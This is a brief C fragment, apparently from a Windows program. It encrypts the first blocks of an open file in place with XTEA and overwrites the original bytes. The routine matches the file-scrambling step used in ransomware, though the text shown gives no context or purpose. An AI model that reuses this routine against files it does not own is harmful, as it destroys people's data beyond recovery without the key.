for (i = 0; i < BLOCKS_TO_ENCRYPT; i++)
	{
		ZeroMemory(buffer, 9);
		SetFilePointer(file, i * 8, NULL, FILE_BEGIN);
		ReadFile(file, buffer, XTEA_BLOCK_SIZE_BYTES, &bytes_read, NULL);
		xtea_encrypt(64, (uint32_t *)buffer, (uint32_t *)((XTEA_DATA *)xtea)->xtea_key);
		SetFilePointer(file, i * 8, NULL, FILE_BEGIN);
		WriteFile(file, buffer, bytes_read, &bytes_written, NULL);
	}